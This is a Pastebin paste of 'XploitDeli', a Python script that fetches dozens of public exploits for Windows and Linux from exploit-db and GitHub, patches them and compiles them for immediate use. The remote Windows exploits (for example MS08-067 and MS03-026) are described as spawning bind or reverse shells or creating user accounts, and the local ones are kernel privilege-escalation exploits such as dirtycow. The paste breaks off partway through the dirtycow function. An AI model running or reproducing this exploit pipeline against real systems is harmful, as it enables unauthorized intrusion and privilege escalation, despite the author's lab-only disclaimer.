SHARE
    TWEET
    hollerith

    XploitDeli

    Sep 14th, 2018
    472
    0
    Never
    Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
    1. #!/usr/bin/python
    2. ###################################################
    3. #
    4. # XploitDeli - written by Justin Ohneiser
    5. # ------------------------------------------------
    6. # This program produces a variety of exploits
    7. # found on exploit-db for immediate use.
    8. #
    9. # Note: options with an asterisk either don't work
    10. # or require compilation on the target.
    11. #
    12. # [Warning]:
    13. # This script comes as-is with no promise of functionality or accuracy. I strictly wrote it for personal use
    14. # I have no plans to maintain updates, I did not write it to be efficient and in some cases you may find the
    15. # functions may not produce the desired results so use at your own risk/discretion. I wrote this script to
    16. # target machines in a lab environment so please only use it against systems for which you have permission!!
    17. #-------------------------------------------------------------------------------------------------------------
    18. # [Modification, Distribution, and Attribution]:
    19. # You are free to modify and/or distribute this script as you wish. I only ask that you maintain original
    20. # author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's
    21. # worth anything anyway :)
    22. #
    23. # Designed for use in Kali Linux 4.6.0-kali1-686
    24. ###################################################
    25. import sys, os, subprocess
    26. # ------------------------------------
    27. # WINDOWS REMOTE
    28. # ------------------------------------
    29. def windows_exploit_suggester():
    30. commands = [
    31. ('Downloading...','wget https://github.com/GDSSecurity/Windows-Exploit-Suggester/archive/master.zip'),
    32. ('Upacking...','unzip master.zip; cp Windows-Exploit-Suggester-master/windows-exploit-suggester.py .'),
    33. ('Updating...','./windows-exploit-suggester.py -u'),
    34. ('Cleaning up...','rm master.zip; rm -r Windows-Exploit-Suggester-master')
    35. ]
    36. if run(commands):
    37. printGood("windows-exploit-suggester.py successfully created\n\tUsage: ./windows-exploit-suggester.py -d <database file> -o <os description> [--remote | --local]")
    38. def ms03_026():
    39. commands = [
    40. ('Downloading...','wget https://www.exploit-db.com/download/100 -O ms03-026.c'),
    41. ('Compiling...','i686-w64-mingw32-gcc ms03-026.c -o ms03-026.exe -lws2_32'),
    42. ('Cleaning up...','rm ms03-026.c')
    43. ]
    44. if run(commands):
    45. printGood("ms03-026.exe successfully created\n\t - creates user 'e' and pass 'asd#321'")
    46. def ms03_039_1():
    47. commands = [
    48. ('Downloading...','wget https://www.exploit-db.com/download/103 -O ms03-039.c'),
    49. ('Compiling...','i686-w64-mingw32-gcc ms03-039.c -o ms03-039.exe -lws2_32'),
    50. ('Cleaning up...','rm ms03-039.c')
    51. ]
    52. if run(commands):
    53. printGood("ms03-039.exe successfully created\n\t - creates user 'SST' and pass '557'")
    54. def ms03_039_2():
    55. commands = [
    56. ('Downloading...','wget https://www.exploit-db.com/download/109 -O ms03-039.cpp'),
    57. ('Compiling...','i686-w64-mingw32-g++ ms03-039.cpp -o ms03-039.exe -lws2_32'),
    58. ('Cleaning up...','rm ms03-039.cpp')
    59. ]
    60. if run(commands):
    61. printGood("ms03-039.exe successfully created\n\t - creates user 'SST' and pass '557'")
    62. def ms03_049():
    63. commands = [
    64. ('Downloading...','wget https://www.exploit-db.com/download/119 -O ms03-049.c'),
    65. ('Compiling...','i686-w64-mingw32-gcc ms03-049.c -o ms03-049.exe -lws2_32'),
    66. ('Cleaning up...','rm ms03-049.c')
    67. ]
    68. if run(commands):
    69. printGood("ms03-039.exe successfully created\n\t - spawns bind shell on port 5555")
    70. def ms04_007():
    71. commands = [
    72. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/3022.tar.gz -O ms04-007.tar.gz'),
    73. ('Unpacking...','tar xvzf ms04-007.tar.gz'),
    74. ('Cleaning up...','rm ms04-007.tar.gz')
    75. ]
    76. if run(commands):
    77. printGood("kill-bill/kill-bill.pl successfully created\n\t - spawns and connects to bind shell on port 8721")
    78. def ms04_011_sslbof():
    79. commands = [
    80. ('Downloading...','wget https://www.exploit-db.com/download/275 -O ms04-011.c'),
    81. ('Compiling...','i686-w64-mingw32-gcc ms04-011.c -o ms04-011.exe -lws2_32'),
    82. ('Cleaning up...','rm ms04-011.c')
    83. ]
    84. if run(commands):
    85. printGood("ms04-011.exe successfully created\n\t - spawns and connects reverse shell on port 443")
    86. def ms04_011_lsasarv():
    87. commands = [
    88. ('Downloading...','wget https://www.exploit-db.com/download/295 -O ms04-011.c'),
    89. ('Compiling...','i686-w64-mingw32-gcc ms04-011.c -o ms04-011.exe -lws2_32'),
    90. ('Cleaning up...','rm ms04-011.c')
    91. ]
    92. if run(commands):
    93. printGood("ms04-011.exe successfully created\n\t - spawns bind shell on given port")
    94. def ms04_031():
    95. commands = [
    96. ('Downloading...','wget https://www.exploit-db.com/download/734 -O ms04-031.c'),
    97. ('Compiling...','i686-w64-mingw32-gcc ms04-031.c -o ms04-031.exe -lws2_32'),
    98. ('Cleaning up...','rm ms04-031.c')
    99. ]
    100. if run(commands):
    101. printGood("ms04-031.exe successfully created\n\t - spawns bind shell on given port")
    102. def ms05_017():
    103. commands = [
    104. ('Downloading...','wget https://www.exploit-db.com/download/1075 -O ms05-017.c'),
    105. ('Compiling...','i686-w64-mingw32-gcc ms05-017.c -o ms05-017.exe -lws2_32'),
    106. ('Cleaning up...','rm ms05-017.c')
    107. ]
    108. if run(commands):
    109. printGood("ms05-017.exe successfully created\n\t - spawns bind shell on given port")
    110. def ms05_039():
    111. commands = [
    112. ('Downloading...','wget https://www.exploit-db.com/download/1149 -O ms05-039.c'),
    113. ('Compiling...','i686-w64-mingw32-gcc ms05-039.c -o ms05-039.exe -lws2_32'),
    114. ('Cleaning up...','rm ms05-039.c')
    115. ]
    116. if run(commands):
    117. printGood("ms05-039.exe successfully created\n\t - spawns bind shell on given port")
    118. def ms06_040_1():
    119. commands = [
    120. ('Downloading...','wget https://www.exploit-db.com/download/2223 -O ms06-040.c'),
    121. ('Compiling...','i686-w64-mingw32-gcc ms06-040.c -o ms06-040.exe -lws2_32'),
    122. ('Cleaning up...','rm ms06-040.c')
    123. ]
    124. if run(commands):
    125. printGood("ms06-040.exe successfully created\n\t - spawns bind shell on port 54321")
    126. def ms06_040_2():
    127. commands = [
    128. ('Downloading...','wget https://www.exploit-db.com/download/2265 -O ms06-040.c'),
    129. ('Fixing...',"sed -i 's/WNetAddConnection2(&nr, \"\", \"\", 0) != NO_ERROR/1==2/g' ms06-040.c;"),
    130. ('Compiling...','i686-w64-mingw32-gcc ms06-040.c -o ms06-040.exe -lws2_32'),
    131. ('Cleaning up...','rm ms06-040.c')
    132. ]
    133. if run(commands):
    134. printGood("ms06-040.exe successfully created\n\t - spawns bind shell on port 4444")
    135. def ms06_070():
    136. commands = [
    137. ('Downloading...','wget https://www.exploit-db.com/download/2789 -O ms06-070.c'),
    138. ('Fixing...',"sed -i 's/more informations/more informations\");/g' ms06-070.c; sed -i 's/see/\/\/see/g' ms06-070.c"),
    139. ('Compiling...','i686-w64-mingw32-gcc ms06-070.c -o ms06-070.exe -lws2_32'),
    140. ('Cleaning up...','rm ms06-070.c')
    141. ]
    142. if run(commands):
    143. printGood("ms06-070.exe successfully created\n\t - spawns bind shell on port 4444")
    144. def ms08_067_1():
    145. commands = [
    146. ('Downloading...','wget https://www.exploit-db.com/download/7104 -O ms08-067.c'),
    147. ('Compiling...','i686-w64-mingw32-gcc ms08-067.c -o ms08-067.exe -lws2_32'),
    148. ('Cleaning up...','rm ms08-067.c')
    149. ]
    150. if run(commands):
    151. printGood("ms08-067.exe successfully created\n\t - spawns bind shell on port 4444")
    152. def ms08_067_2():
    153. commands = [
    154. ('Downloading...','wget https://www.exploit-db.com/download/7132 -O ms08-067.py'),
    155. ('Preparing...','chmod 744 ms08-067.py')
    156. ]
    157. if run(commands):
    158. printGood("ms08-067.py successfully created\n\t - spawns bind shell on 4444")
    159. def ms08_067_3():
    160. commands = [
    161. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/6841.rar -O ms08-067.rar'),
    162. ('Unpacking...','mkdir ms08-067; cd ms08-067; unrar e ../ms08-067.rar'),
    163. ('Cleaning up...','rm ms08-067.rar; cp ms08-067/MS08-067.exe ms08-067.exe; rm -r ms08-067')
    164. ]
    165. if run(commands):
    166. printGood("ms08-067.exe successfully created\n\t")
    167. def ms09_050():
    168. commands = [
    169. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/14674.zip -O ms09-050.zip'),
    170. ('Unpacking...','unzip ms09-050.zip'),
    171. ('Cleaning up...','rm ms09-050.zip'),
    172. ('Compiling...','cd smb2_exploit_release/smb2_exploit; i686-w64-mingw32-g++ smb2_exploit.cpp -o smb2_exploit.exe -lws2_32')
    173. ]
    174. if run(commands):
    175. printGood("/smb2_exploit_release/smb2_exploit/smb2_exploit.exe successfully created\n\t - spawns bind shell on 28876")
    176. exploits_windows_remote = [
    177. ("windows_exploit_suggester" , windows_exploit_suggester),
    178. ("ms03-026" , ms03_026),
    179. ("ms03-039 (1)" , ms03_039_1),
    180. ("ms03-039 (2)" , ms03_039_2),
    181. ("*ms03-049" , ms03_049),
    182. ("ms04-007" , ms04_007),
    183. ("ms04-011 - ssl bof" , ms04_011_sslbof),
    184. ("ms04-011 - lsasarv.dll" , ms04_011_lsasarv),
    185. ("ms04-031" , ms04_031),
    186. ("ms05-017" , ms05_017),
    187. ("ms05-039" , ms05_039),
    188. ("*ms06-040 (1)" , ms06_040_1),
    189. ("ms06-040 (2)" , ms06_040_2),
    190. ("ms06-070" , ms06_070),
    191. ("*ms08-067 (1)" , ms08_067_1),
    192. ("ms08-067 (2)" , ms08_067_2),
    193. ("ms08-067 (3)" , ms08_067_3),
    194. ("*ms09-050" , ms09_050)
    195. ]
    196. # ------------------------------------
    197. # WINDOWS LOCAL
    198. # ------------------------------------
    199. def windows_privesc_check():
    200. commands = [
    201. ('Downloading...','wget https://github.com/pentestmonkey/windows-privesc-check/archive/master.zip -O windows-privesc-check.zip'),
    202. ('Unpacking','unzip windows-privesc-check.zip; cp windows-privesc-check-master/windows-privesc-check2.exe .'),
    203. ('Cleaning up...','rm windows-privesc-check.zip; rm -r windows-privesc-check-master')
    204. ]
    205. if run(commands):
    206. printGood("windows-privesc-check2.exe successfully created")
    207. def ms04_011_local():
    208. commands = [
    209. ('Downloading...','wget https://www.exploit-db.com/download/271 -O ms04-011.c'),
    210. ('Fixing...',"sed -i 's/Winuser.h/winuser.h/g' ms04-011.c"),
    211. ('Compiling...','i686-w64-mingw32-gcc ms04-011.c -o ms04-011.exe -I/usr/i686-w64-mingw32/include/'),
    212. ('Cleaning up...','rm ms04-011.c')
    213. ]
    214. if run(commands):
    215. printGood("ms04-011.exe successfully created\n\t")
    216. def ms04_019_1():
    217. commands = [
    218. ('Downloading...','wget https://www.exploit-db.com/download/350 -O ms04-019.c'),
    219. ('Fixing...',"sed -i 's/Utility Manager and then/Utility Manager and then run\");/g' ms04-019.c; sed -i 's/run UtilManExploit2.exe/\/\/run UtilManExploit2.exe/g' ms04-019.c; sed -i 's/in the taskbar/\/\/in the taskbar/g' ms04-019.c; sed -i 's/lParam must be/\/\/lParam must be/g' ms04-019.c; sed -i 's/close open error window/\/\/close open error window/g' ms04-019.c; sed -i 's/close utility manager/\/\/close utility manager/g' ms04-019.c"),
    220. ('Compiling...','i686-w64-mingw32-gcc ms04-019.c -o ms04-019.exe -lws2_32'),
    221. ('Cleaning up...','rm ms04-019.c')
    222. ]
    223. if run(commands):
    224. printGood("ms04-019.exe successfully created\n\t - run 'utilman.exe /start', then execute")
    225. def ms04_019_2():
    226. commands = [
    227. ('Downloading...','wget https://www.exploit-db.com/download/352 -O ms04-019.c'),
    228. ('Compiling...','i686-w64-mingw32-gcc ms04-019.c -o ms04-019.exe -lws2_32'),
    229. ('Cleaning up...','rm ms04-019.c')
    230. ]
    231. if run(commands):
    232. printGood("ms04-019.exe successfully created\n\t")
    233. def ms04_019_3():
    234. commands = [
    235. ('Downloading...','wget https://www.exploit-db.com/download/355 -O ms04-019.c'),
    236. ('Compiling...','i686-w64-mingw32-gcc ms04-019.c -o ms04-019.exe -lws2_32'),
    237. ('Cleaning up...','rm ms04-019.c')
    238. ]
    239. if run(commands):
    240. printGood("ms04-019.exe successfully created\n\t")
    241. def ms04_020():
    242. commands = [
    243. ('Downloading...','wget https://www.exploit-db.com/download/351 -O ms04-020.c'),
    244. ('Fixing...',"sed -i 's/Winsock2.h/winsock2.h/g' ms04-020.c; sed -i 's/_snprintf/\/\/_snprintf/g' ms04-020.c; sed -i 's/pax -h/\/\/pax -h/g' ms04-020.c"),
    245. ('Compiling...','i686-w64-mingw32-gcc ms04-020.c -o ms04-020.exe -lws2_32'),
    246. ('Cleaning up...','rm ms04-020.c')
    247. ]
    248. if run(commands):
    249. printGood("ms04-020.exe successfully created\n\t")
    250. def keybd():
    251. commands = [
    252. ('Downloading...','wget https://www.exploit-db.com/download/1197 -O keybd.c'),
    253. ('Compiling...','i686-w64-mingw32-gcc keybd.c -o keybd.exe -lws2_32'),
    254. ('Cleaning up...','rm keybd.c')
    255. ]
    256. if run(commands):
    257. printGood("keybd.exe successfully created\n\t - run 'runas /user:restrcited cmd.exe', 'tlist.exe | find \"explorer.exe\"' (get pid), then run keybd.exe <pid>")
    258. def ms05_018():
    259. commands = [
    260. ('Downloading...','wget https://www.exploit-db.com/download/1198 -O ms05-018.c'),
    261. ('Compiling...','i686-w64-mingw32-gcc ms05-018.c -o ms05-018.exe -lws2_32 advapi32.lib'),
    262. ('Cleaning up...','rm ms05-018.c')
    263. ]
    264. if run(commands):
    265. printGood("ms05-018.exe successfully created\n\t")
    266. def ms05_055():
    267. commands = [
    268. ('Downloading...','wget https://www.exploit-db.com/download/1407 -O ms05-055.c'),
    269. ('Compiling...','i686-w64-mingw32-g++ ms05-055.c -o ms05-055.exe -lws2_32'),
    270. ('Cleaning up...','rm ms05-055.c')
    271. ]
    272. if run(commands):
    273. printGood("ms05-055.exe successfuly created\n\t")
    274. def ms06_030():
    275. commands = [
    276. ('Downloading...','wget https://www.exploit-db.com/download/1911 -O ms06-030.c'),
    277. ('Compiling...','i686-w64-mingw32-gcc ms06-030.c -o ms06-030.exe -lws2_32'),
    278. ('Cleaning up...','rm ms06-030.c')
    279. ]
    280. if run(commands):
    281. printGood("ms06-030.exe successfully created\n\t")
    282. def ms06_049():
    283. commands = [
    284. ('Downloading...','wget https://www.exploit-db.com/download/2412 -O ms06-049.c'),
    285. ('Compiling...','i686-w64-mingw32-gcc ms06-049.c -o ms06-049.exe -lws2_32'),
    286. ('Cleaning up...','rm ms06-049.c')
    287. ]
    288. if run(commands):
    289. printGood("ms06-049.exe successfully created\n\t")
    290. def spool():
    291. commands = [
    292. ('Downloading...','wget https://www.exploit-db.com/download/3220 -O spool.c'),
    293. ('Fixing...',"sed -i 's/Winspool.h/winspool.h/g' spool.c; sed -i 's/EnumPrintersA/\/\/EnumPrintersA/g' spool.c"),
    294. ('Compiling...','i686-w64-mingw32-gcc spool.c -o spool.exe'),
    295. ('Cleaning up...','rm spool.c')
    296. ]
    297. if run(commands):
    298. printGood("spool.exe successfully created\n\t - spawns bindshell on port 51477")
    299. def ms08_025():
    300. commands = [
    301. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5518.zip -O ms08-025.zip'),
    302. ('Unpacking...','mkdir ms08-025; cd ms08-025;unzip ../ms08-025.zip'),
    303. ('Compiling...','cd ms08-025; i686-w64-mingw32-gcc ms08-25-exploit.cpp -o ../ms08-025.exe -lws2_32'),
    304. ('Cleaning up...','rm ms08-025.zip; rm -r ms08-025')
    305. ]
    306. if run(commands):
    307. printGood("ms08_025.exe successfully created\n\t")
    308. def netdde():
    309. commands = [
    310. ('Downloading...','wget https://www.exploit-db.com/download/21923 -O netdde.c'),
    311. ('Fixing...',"sed -i 's/source:/\/\/source:/g' netdde.c; sed -i 's/The Winlogon/\/\/The Winlogon/g' netdde.c"),
    312. ('Compiling...','i686-w64-mingw32-gcc netdde.c -o netdde.exe'),
    313. ('Cleaning up...','rm netdde.c')
    314. ]
    315. if run(commands):
    316. printGood("netdde.exe successfully created\n\t")
    317. def ms10_015():
    318. commands = [
    319. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/11199.zip -O ms10-015.zip'),
    320. ('Unpacking...','unzip ms10-015.zip; cp KiTrap0D/vdmallowed.exe ms10-015.exe'),
    321. ('Cleaning up...','rm ms10-015.zip; rm -r KiTrap0D')
    322. ]
    323. if run(commands):
    324. printGood("ms10-015.exe successfully created\n\t")
    325. def ms10_059():
    326. commands = [
    327. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/14610.zip -O ms10-059.zip'),
    328. ('Unpacking...','unzip ms10-059.zip'),
    329. ('Compiling...','cd Chimichurri; i686-w64-mingw32-g++ Chimichurri.cpp -o ../ms10-059.exe -lws2_32'),
    330. ('Cleaning up...','rm ms10-059.zip; rm -r Chimichurri')
    331. ]
    332. if run(commands):
    333. printGood("ms10-059.exe successfully created\n\t")
    334. def ms10_092():
    335. commands = [
    336. ('Downloading...','wget https://www.exploit-db.com/download/15589 -O ms10-092.wsf'),
    337. ]
    338. if run(commands):
    339. printGood("ms10-092.wsf successfully created\n\t - use 'cscript ms10-092.wsf' to execute")
    340. def ms11_080():
    341. commands = [
    342. ('Downloading...','wget https://www.exploit-db.com/download/18176 -O ms11-080.py'),
    343. ('Converting...','wine "C:\\Python27\\python.exe" /usr/share/pyinstaller/pyinstaller.py --onefile ms11-080.py'),
    344. ('Cleaning up...','cp dist/ms11-080.exe ms11-080.exe; rm ms11-080.py; rm -r dist build ms11-080.spec')
    345. ]
    346. if run(commands):
    347. printGood("ms11_080.exe successfully created\n\t")
    348. def ms14_040():
    349. commands = [
    350. ('Downloading...','wget https://www.exploit-db.com/download/39525 -O ms14-040.py'),
    351. ('Converting...','wine "C:\\Python27\\python.exe" /usr/share/pyinstaller/pyinstaller.py --onefile ms14-040.py'),
    352. ('Cleaning up...','cp dist/ms14-040.exe ms14-040.exe; rm ms14-040.py; rm -r dist build ms14-040.spec')
    353. ]
    354. if run(commands):
    355. printGood("ms14-040.exe successfully created")
    356. def ms14_058_1():
    357. commands = [
    358. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39666.zip -O ms14-058.zip'),
    359. ('Unpacking...','unzip ms14-058.zip'),
    360. ('Compiling...','cd 39666/Exploit/Exploit; i686-w64-mingw32-g++ Exploit.cpp -o ../../../ms14-058.exe -lws2_32'),
    361. ('Cleaning up...','rm ms14-058.zip; rm -r 39666 __MACOSX')
    362. ]
    363. if run(commands):
    364. printGood("")
    365. def ms14_058_2():
    366. commands = [
    367. ('Downloading...','wget https://www.exploit-db.com/download/37064 -O ms14-058.py'),
    368. ('Converting...','wine "C:\\Python27\\python.exe" /usr/share/pyinstaller/pyinstaller.py --onefile ms14-058.py'),
    369. ('Cleaning up...','cp dist/ms14-058.exe ms14-058.exe; rm ms14-058.py; rm -r dist build ms14-058.spec')
    370. ]
    371. if run(commands):
    372. printGood("ms14-058.exe successfully created\n\t")
    373. def ms14_070_1():
    374. commands = [
    375. ('Downloading...','wget https://www.exploit-db.com/download/37755 -O ms14-070.c'),
    376. ('Compiling...','i686-w64-mingw32-gcc ms14-070.c -o ms14-070.exe -lws2_32'),
    377. ('Cleaning up...','rm ms14-070.c')
    378. ]
    379. if run(commands):
    380. printGood("ms14-070.exe successfully created\n\t")
    381. def ms14_070_2():
    382. commands = [
    383. ('Downloading...','wget https://www.exploit-db.com/download/35936 -O ms14-070.py'),
    384. ('Note: requires manual fixing, then execute the following command:','echo \'wine "C:\\Python27\\python.exe" /usr/share/pyinstaller/pyinstaller.py --onefile ms14-070.py\'')
    385. ]
    386. run(commands)
    387. def ms15_010_1():
    388. commands = [
    389. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39035.zip -O ms15_010.zip'),
    390. ('Unpacking...','unzip ms15_010.zip'),
    391. ('Fixing...',"cd 39035; sed -i 's/Strsafe.h/strsafe.h/g' main.cpp; sed -i 's/Shlwapi.h/shlwapi.h/g' main.cpp"),
    392. ('Compiling...','cd 39035; i686-w64-mingw32-g++ main.cpp -o ../ms15-010.exe'),
    393. ('Cleaning up...','rm ms15_010.zip; rm -r 39035')
    394. ]
    395. if run(commands):
    396. printGood("ms15-010.exe successfully created\n\t")
    397. def ms15_010_2():
    398. commands = [
    399. ('Downloading...','wget https://www.exploit-db.com/download/37098 -O ms15-010.cpp'),
    400. ('Fixing...','head -n 287 ms15-010.cpp > ex.cpp; tail -n 59 ms15-010.cpp > ex.h'),
    401. ('Compiling...','i686-w64-mingw32-g++ ex.cpp -o ms15-010.exe'),
    402. ('Cleaning up...','rm ms15-010.cpp')
    403. ]
    404. if run(commands):
    405. printGood("ms15-010.exe successfully created")
    406. def ms15_051():
    407. commands = [
    408. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-32.exe -O ms15-051_32.exe; wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-64.exe -O ms15-051_64.exe')
    409. ]
    410. if run(commands):
    411. printGood("ms15-051_32.exe and ms15_051_64.exe successfully created")
    412. def ms16_014():
    413. commands = [
    414. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40039.zip -O ms16-014.zip'),
    415. ('Unpacking...','unzip ms16-014.zip'),
    416. ('Compiling...','cd 40039; i686-w64-mingw32-g++ MS16-014.cpp -o ../ms16-014.exe'),
    417. ('Cleaning up...','rm -r ms16-014.zip __MACOSX')
    418. ]
    419. if run(commands):
    420. printGood("ms16-014.exe successfully created")
    421. def ms16_016():
    422. commands = [
    423. ('Downloading...','wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39788.zip -O ms16-016.zip'),
    424. ('Unpacking...','unzip ms16-016.zip; cd 39788; unzip compiled.zip'),
    425. ('Cleaning up...','cp 39788/EoP.exe ms16_016.exe; cp 39788/Shellcode.dll Shellcode.dll;rm ms16-016.zip; rm -r 39788 __MACOSX')
    426. ]
    427. if run(commands):
    428. printGood("ms16_016.exe and Shellcode.dll successfully created")
    429. def ms16_032():
    430. commands = [
    431. ('Downloading...','wget https://www.exploit-db.com/download/39719 -O ms16_032.ps1')
    432. ]
    433. if run(commands):
    434. printGood("ms16_032.ps1 successfully created\n\t - for use with powershell")
    435. exploits_windows_local = [
    436. ("windows-privesc-check" , windows_privesc_check),
    437. ("ms04-011" , ms04_011_local),
    438. ("ms04-019 (1)" , ms04_019_1),
    439. ("ms04-019 (2)" , ms04_019_2),
    440. ("ms04-019 (3)" , ms04_019_3),
    441. ("ms04-020" , ms04_020),
    442. ("*keybd_event" , keybd),
    443. ("*ms05-018" , ms05_018),
    444. ("*ms05-055" , ms05_055),
    445. ("ms06-030" , ms06_030),
    446. ("ms06-049" , ms06_049),
    447. ("print spool service" , spool),
    448. ("*ms08-025" , ms08_025),
    449. ("netdde" , netdde),
    450. ("ms10-015" , ms10_015),
    451. ("ms10-059" , ms10_059),
    452. ("ms10-092" , ms10_092),
    453. ("ms11-080" , ms11_080),
    454. ("ms14-040" , ms14_040),
    455. ("*ms14-058 (1)" , ms14_058_1),
    456. ("ms14-058 (2)" , ms14_058_2),
    457. ("*ms14-070 (1)" , ms14_070_1),
    458. ("ms14-070 (2)" , ms14_070_2),
    459. ("*ms15-010 (1)" , ms15_010_1),
    460. ("*ms15-010 (2)" , ms15_010_2),
    461. ("ms15-051" , ms15_051),
    462. ("*ms16-014" , ms16_014),
    463. ("ms16-016" , ms16_016),
    464. ("ms16-032" , ms16_032)
    465. ]
    466. # ------------------------------------
    467. # LINUX REMOTE
    468. # ------------------------------------
    469. def shellshock():
    470. commands = [
    471. ('Downloading...','wget https://www.exploit-db.com/download/34900 -O shellshock.py'),
    472. ('Preparing...','chmod 744 shellshock.py')
    473. ]
    474. if run(commands):
    475. printGood("shellshock.py successfully created\n\t")
    476. def heartbleed():
    477. commands = [
    478. ('Downloading...','wget https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/heartbleed.c -O heartbleed.c'),
    479. ('Compiling...','gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto'),
    480. ('Cleaning up...','rm heartbleed.c')
    481. ]
    482. if run(commands):
    483. printGood("heartbleed successfully created\n\tUsage: heartbleed -s <target> -p <port> -f <output file> -v -t 1")
    484. exploits_linux_remote = [
    485. ("shellshock" , shellshock),
    486. ("heartbleed" , heartbleed)
    487. ]
    488. # ------------------------------------
    489. # LINUX LOCAL
    490. # -- These should be compiled on target if possible
    491. # ------------------------------------
    492. def linux_exploit_suggester():
    493. commands = [
    494. ('Downloading...','apt-get install linux-exploit-suggester'),
    495. ('Cleaning up...','cp /usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl linux-exploit-suggester.pl')
    496. ]
    497. if run(commands):
    498. printGood("linux-exploit-suggester.pl successfully created\n\tUsage: perl linux-exploit-suggester.pl -k <kernel>")
    499. def unix_privesc_check():
    500. commands = [
    501. ('Downloading...','wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz'),
    502. ('Unpacking...','tar xvzf unix-privesc-check-1.4.tar.gz; cp unix-privesc-check-1.4/unix-privesc-check .'),
    503. ('Cleaning up...','rm unix-privesc-check-1.4.tar.gz; rm -r unix-privesc-check-1.4')
    504. ]
    505. if run(commands):
    506. printGood("unix_privesc_check successfully created")
    507. def sendpage_1():
    508. commands = [
    509. ('Downloading...','wget https://www.exploit-db.com/download/9545 -O sendpage.c'),
    510. ('Compile with:','echo "gcc -Wall -o sendpage sendpage.c"')
    511. ]
    512. run(commands)
    513. def sendpage_2():
    514. commands = [
    515. ('Downloading...','wget https://www.exploit-db.com/download/9479 -O sendpage.c'),
    516. ('Compile with:','echo "gcc -Wall -o sendpage sendpage.c"')
    517. ]
    518. run(commands)
    519. def ftruncate():
    520. commands = [
    521. ('Downloading...','wget https://www.exploit-db.com/download/6851 -O ftruncate.c'),
    522. ('Compile with:','echo "gcc -o ftruncate ftruncate.c"'),
    523. ('Note: use in world-writable directory, located using the following command:','echo "find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx""')
    524. ]
    525. run(commands)
    526. def cap_sys_admin():
    527. commands = [
    528. ('Downloading...','wget https://www.exploit-db.com/download/15944 -O cap_sys_admin.c'),
    529. ('Compile with:','echo "gcc -w cap_sys_admin.c -o cap_sys_admin_expl"')
    530. ]
    531. run(commands)
    532. def compat():
    533. commands = [
    534. ('Downloading...','wget https://www.exploit-db.com/download/15024 -O compat.c'),
    535. ('Compile with:','echo "gcc -o compat compat.c"')
    536. ]
    537. run(commands)
    538. def can_bcm():
    539. commands = [
    540. ('Downloading...','wget https://www.exploit-db.com/download/14814 -O can_bcm_expl.c'),
    541. ('Compile with:','echo "gcc -o can_bcm_expl can_bcm_expl.c"')
    542. ]
    543. run(commands)
    544. def rdsProtocol():
    545. commands = [
    546. ('Downloading...','wget https://www.exploit-db.com/download/15285 -O rds_expl.c'),
    547. ('Compile with:','echo "gcc -o rds_expl rds_expl.c"')
    548. ]
    549. run(commands)
    550. def halfNelson():
    551. commands = [
    552. ('Downloading...','wget https://www.exploit-db.com/download/17787 -O half-nelson.c'),
    553. ('Compile with:','echo "gcc -o half-nelson half-nelson.c -lrt"')
    554. ]
    555. run(commands)
    556. def fullNelson():
    557. commands = [
    558. ('Downloading...','wget https://www.exploit-db.com/download/15704 -O full-nelson.c'),
    559. ('Compile with:','echo "gcc -o full-nelson full-nelson.c"')
    560. ]
    561. run(commands)
    562. def udev():
    563. commands = [
    564. ('Downloading...','wget https://www.exploit-db.com/download/8572 -O udev_expl.c'),
    565. ('Compile with:','echo "gcc -o udev_expl udev_expl.c"')
    566. ]
    567. run(commands)
    568. def sgid():
    569. commands = [
    570. ('Downloading...','wget https://www.exploit-db.com/download/33824 -O sgid_expl.c'),
    571. ('Compile with:','echo "gcc -o sgid_expl sgid_expl.c"')
    572. ]
    573. run(commands)
    574. def overlayfs_1():
    575. commands = [
    576. ('Downloading...','wget https://www.exploit-db.com/download/37292 -O overlayfs.c'),
    577. ('Compile with:','echo "gcc -o overlayfs overlayfs.c"')
    578. ]
    579. run(commands)
    580. def libfutex():
    581. commands = [
    582. ('Downloading...','wget https://www.exploit-db.com/download/35370 -O libfutex.c'),
    583. ('Compile with:','echo "gcc -o libfutex libfutex.c -lpthread"')
    584. ]
    585. run(commands)
    586. def mempodipper():
    587. commands = [
    588. ('Downloading...','wget https://www.exploit-db.com/download/18411 -O mempodipper.c'),
    589. ('Compile with:','echo "gcc -o mempodipper mempodipper.c"')
    590. ]
    591. run(commands)
    592. def alpha_omega():
    593. commands = [
    594. ('Downloading...','wget https://www.exploit-db.com/download/17391 -O alpha-omega.c'),
    595. ('Compile with:','echo "gcc -o alpha-omega alpha-omega.c"')
    596. ]
    597. run(commands)
    598. def dirtycow():
    599. commands = [
    600. ('Downloading...','wget https://www.exploit-db.com/download/40616 -O dirtycow_64.c'),
